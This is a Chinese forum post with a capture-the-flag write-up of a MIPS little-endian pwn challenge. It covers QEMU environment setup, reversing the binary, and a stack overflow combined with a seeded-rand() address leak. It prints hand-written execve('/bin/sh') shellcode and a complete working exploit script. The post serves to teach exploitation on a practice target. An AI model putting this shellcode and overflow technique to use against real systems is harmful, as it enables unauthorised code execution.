首页
论坛
课程
招聘
雪    币: 740
活跃值: 活跃值 (17)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝

[原创]第一个mips pwn搭建环境,逆向,调试,最终exp的过程

2020-5-20 21:43 3770

[原创]第一个mips pwn搭建环境,逆向,调试,最终exp的过程

2020-5-20 21:43
3770

第一个mips pwn搭建环境,逆向,调试,最终exp的过程

参考了了 https://www.giantbranch.cn/2017/12/29/MIPS%20PWN%20%E5%AE%9E%E4%BE%8B%20%E2%80%94%E2%80%94%20UCTF%202016%20ADD/

基础知识:

环境搭建,mips指令,mips shellcode的编写

遇到的坑:mips编译,大小端;shellcode通过相对跳转跳过破坏的栈数据

思路:栈溢出,又没有nx,直接执行shellcode,通过伪随机数漏洞可以泄露栈地址。

问题:qemu的nat模式可以连接互联网,但是bridge模式,guest还是无法联网,但是不影响本题目。如果有大佬知道怎么解决,请留言告诉我一下~我的环境是Ubuntu 16.04的VMware虚拟机。

两种方案:1、nat模式下联网安装软件,bridge模式下guest与host可以互通,ssh连接。

2、只使用nat模式,同时使用-redir tcp:11022::22 进行端口映射,这样就可以通过ssh -p 11022 root@127.0.0.1 来连接guest虚拟机了。

为什么非要ssh连接guest呢,因为guest原有的终端太差,总是显示乱码。

1. 环境搭建

题目: https://dn.jarvisoj.com/challengefiles/add.1f54e2c8b9396f83a4be2632bcb3a5f5

这是2016全国大学生信息安全竞赛的一个题,是MIPSEL(小端的)

qemu虚拟机可以在这里下

https://people.debian.org/~aurel32/qemu/mipsel/


1.1 启动命令:

1.1.1 NAT模式

可以连接互联网

qemu-system-mips64el -M malta -kernel vmlinux-3.2.0-4-5kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -netdev user,id=net0 -device e1000,netdev=net0,id=net0,mac=52:54:00:c9:18:27 -redir tcp:11022::22 -redir tcp:11000::11000  -nographic

这样就可以与guest虚拟机ssh连接了,而且guest虚拟机可以连接互联网


1.1.2 bridge模式

,可以内网连接

sudo qemu-system-mips64el -M malta -kernel vmlinux-3.2.0-4-5kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -net nic,macaddr=00:16:3e:00:00:01 -net tap -nographic

host的/etc/network/interfaces

# interfaces(5) file used by ifup(8) and ifdown(8)
auto lo
iface lo inet loopback
 
iface ens33 inet dhcp

auto br0
iface br0 inet dhcp
	bridge_ports ens33
	bridge_stp off
	bridge_maxwait 0
	bridge_fd 0

/etc/qemu-ifup 末尾添加

echo "W: $0: no bridge for guest interface found" >&2

echo "Executing /ect/qemu-ifup"
echo "Bringing $1 for 0.0.0.0 promisc up"
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep3

1.2 guest配置

1.2.1 nat模式安装软件

环境:root root登录

源的问题

cp -r /etc/apt/sources.list /etc/apt/sources.list.bak;

echo "deb http://archive.debian.org/debian/ wheezy main contrib non-free" > /etc/apt/sources.list;

cat /etc/apt/sources.list;

apt-get update;

apt-get update

apt-get install build-essential gdb socat tmux python-pip git

git clone https://github.com/zTrix/zio.git

python setup.py install

1.2.2 bridge模式

guest里面配置ip

ifconfig eth0 172.16.250.140 netmask 255.255.255.0

guset里面配置ssh,添加

AllowUsers root
PermitRootLogin yes
PasswordAuthentication yes

开启Python server

l@ubuntu:~/test/mips_env/add$ python -m SimpleHTTPServer 8080

Serving HTTP on 0.0.0.0 port 8080 ...

qemu虚拟机内下载下来

wget http://172.16.250.128:8080/add

2. 逆向分析

l@ubuntu:~/test/mips_env/add$ checksec add

[*] Checking for new versions of pwntools

To disable this functionality, set the contents of /home/l/.pwntools-cache/update to 'never'.

[*] A newer version of pwntools is available on pypi (3.13.0 --> 4.1.0).

Update with: $ pip install -U pwntools

[*] '/home/l/test/mips_env/add/add'

 Arch:     mips-32-little

RELRO:    No RELRO

Stack:    No canary found

   NX:       NX disabled

PIE:      No PIE (0x400000)

RWX:      Has RWX segments

2.1 运行

2.2 ghidra的反编译结果!比ida简单又强大

int main(void)

{
  int iVar1;
  long lVar2;
  long lVar3;
  char *buf_p;
  uint uVar4;
  char challenge [10];
  char buf [64]; 缓冲区
  
  setvbuf(stdout,(char *)0x0,2,0);
  puts("[calc]");
  puts("Type \'help\' for  help.");
  srand(0x123456);
  iVar1 = rand();
  sprintf(challenge,"%d",iVar1);
  uVar4 = 0x80;
  buf_p = buf;
  do {
    if (uVar4 < 2) break;
LAB_00400984:
    iVar1 = _IO_getc(stdin);
    if (iVar1 < 0) goto LAB_00400ad4;
LAB_004009a4:
    *buf_p = (char)iVar1; 循环读入,栈溢出!!!
    uVar4 = uVar4 - 1;
    buf_p = buf_p + 1;
  } while (iVar1 != 10);
  if (uVar4 == 0) goto LAB_004009c0;
  do {
    *buf_p = '\0';
LAB_004009c0:
    buf_p = strchr(buf,10);
    if (buf_p != (char *)0x0) {
      *buf_p = '\0';
    }
    iVar1 = strcmp(buf,"help");
    if (iVar1 == 0) {
      buf_p = "Type \'exit\' to exit.";
LAB_00400b18:
      puts(buf_p);
      puts("Input 2 numbers just like:");
      puts("1 2");
    }
    else {
      iVar1 = strcmp(buf,"exit");
      if (iVar1 == 0) {
        puts("Exiting...");
        return 0;
      }
      iVar1 = strcmp(buf,challenge);
      if (iVar1 == 0) {
        printf("Your input was %p\n",buf);
        uVar4 = 0x80;
        buf_p = buf;
        goto LAB_00400984;
      }
      buf_p = strchr(buf,0x20);
      if (buf_p == (char *)0x0) {
        buf_p = "Error!";
        goto LAB_00400b18;
      }
      lVar2 = strtol(buf,(char **)0x0,10);
      lVar3 = strtol(buf_p + 1,(char **)0x0,10);
      printf("%d + %d = %d\n",lVar2,lVar3,lVar3 + lVar2);
      if (lVar3 + lVar2 == 0x133a05e) {
        puts("Thanks,Bye~");
        return 0;
      }
    }
    uVar4 = 0x80;
    iVar1 = _IO_getc(stdin);
    buf_p = buf;
    if (-1 < iVar1) goto LAB_004009a4;
LAB_00400ad4:
    if (buf_p == buf) {
      return 0;
    }
  } while( true );
}

2.3 漏洞点

返回地址保存在$sp+0x98-4

读入的数据保存在$sp+0x24,两者相差0x70,即112

函数返回的断点

b* 0x400b08




2.4 成功劫持pc


poc如下

from zio import *
io=zio('./add')
io.read_until('help.\n')
io.gdb_hint([0x4009b4]) #after getchar
io.writeline('10080303 10080303'+'\x00'+'a'*(0x70-18)+'b'*4)
io.interact()

2.5 泄露栈地址,定位shellcode

因为没有开启nx保护,所以可以直接在栈中执行shellcode,但是需要定位到shellcode


想泄露,需要满足输入与challenge相同,而challenge来自伪随机数

在b *0x40098c下断点,看伪随机数


2.6 shellcode

2.6.1 shellcode.s

不能用j,因为是绝对地址跳转

需要用bne,相对跳转

需要跳过坑!!(有些栈数据被程序破坏掉,会导致shellcode执行不正常)


.global main

main:

li $a2,0x111           #
p:bltzal $a2,p            # 该指令执行后,会使得下行的地址保存在$ra中
li $a2,0                # 存入第三个参数0,
addiu $sp,$sp,-60        # 拉高堆栈,存放参数
addiu $a0,$ra,52        # $ra+52是下面参数字符串/bin/sh的首地址
sw $a0,-24($sp)        # 将/bin/sh存入开辟的数组
sw $zero,-20($sp)        # 将参数0存入数组
addiu $a1,$sp,-24
bne $a0,$a2,q#jump
li $a2,0 #nop
li $a2,0 #nop
li $a2,0 #nop
li $a2,0 #nop
q:li $v0,4011
syscall
sc:                    # 存储的参数/bin/sh
    .byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00

2.6.2 . makefile

一定要注意是小端

all:
	mips-linux-gnu-as -EL --32 shellcode.s -o shellcode

2.6.3 抠出shellcode字节码

打开ghidra的Window菜单下的bytes窗口


2.6.4 最后的exp

from zio import *
io=zio('./add',timeout=10000)
io.read_until('help.\n')
io.gdb_hint() #after getchar
io.writeline('2057561479')
io.read_until('Your input was ')
buf_addr=io.read_until('\n')[:-1]
buf_addr_int=int(buf_addr,16)

shellcode="\x11\x01\x06\x24\xff\xff\xd0\x04\x00\x00\x00\x00\x00\x00\x06\x24\xc4\xff\xbd\x27\x34\x00\xe4\x27\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\x05\x00\x86\x14\xe8\xff\xa5\x27\x00\x00\x06\x24\x00\x00\x06\x24\x00\x00\x06\x24\x00\x00\x06\x24\xab\x0f\x02\x24\x0c\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00" #length 72

payload='10080303 10080303'+'\x00'*3 #20
payload+=shellcode #20+72
payload+='a'*(0x70-92)
payload+=l32(buf_addr_int+20) #ret addr
io.writeline(payload)
io.interact()

2.7 调试

~/.gdbinit

source ~/gdb.cmd

~/gdb.cmd

b *0x4009b4 
b* 0x400b08 
set disassemble-next-line on

buf地址泄露

函数返回的断点

b* 0x400b08

返回地址覆盖为buf+20

成功!!!







2020,给你一个诚意满满的夏令营!

最后于 2020-5-21 08:22 被nicaicaiwo编辑 ,原因:
上传的附件:
最新回复 (2)
雪    币: 1020
活跃值: 活跃值 (94)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
上海刘一刀 活跃值 2 2020-5-23 20:44
2
0
感谢分享
雪    币: 202
活跃值: 活跃值 (44)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pkiot 活跃值 2020-6-28 12:31
3
0
感谢分享
游客
登录 | 注册 方可回帖
返回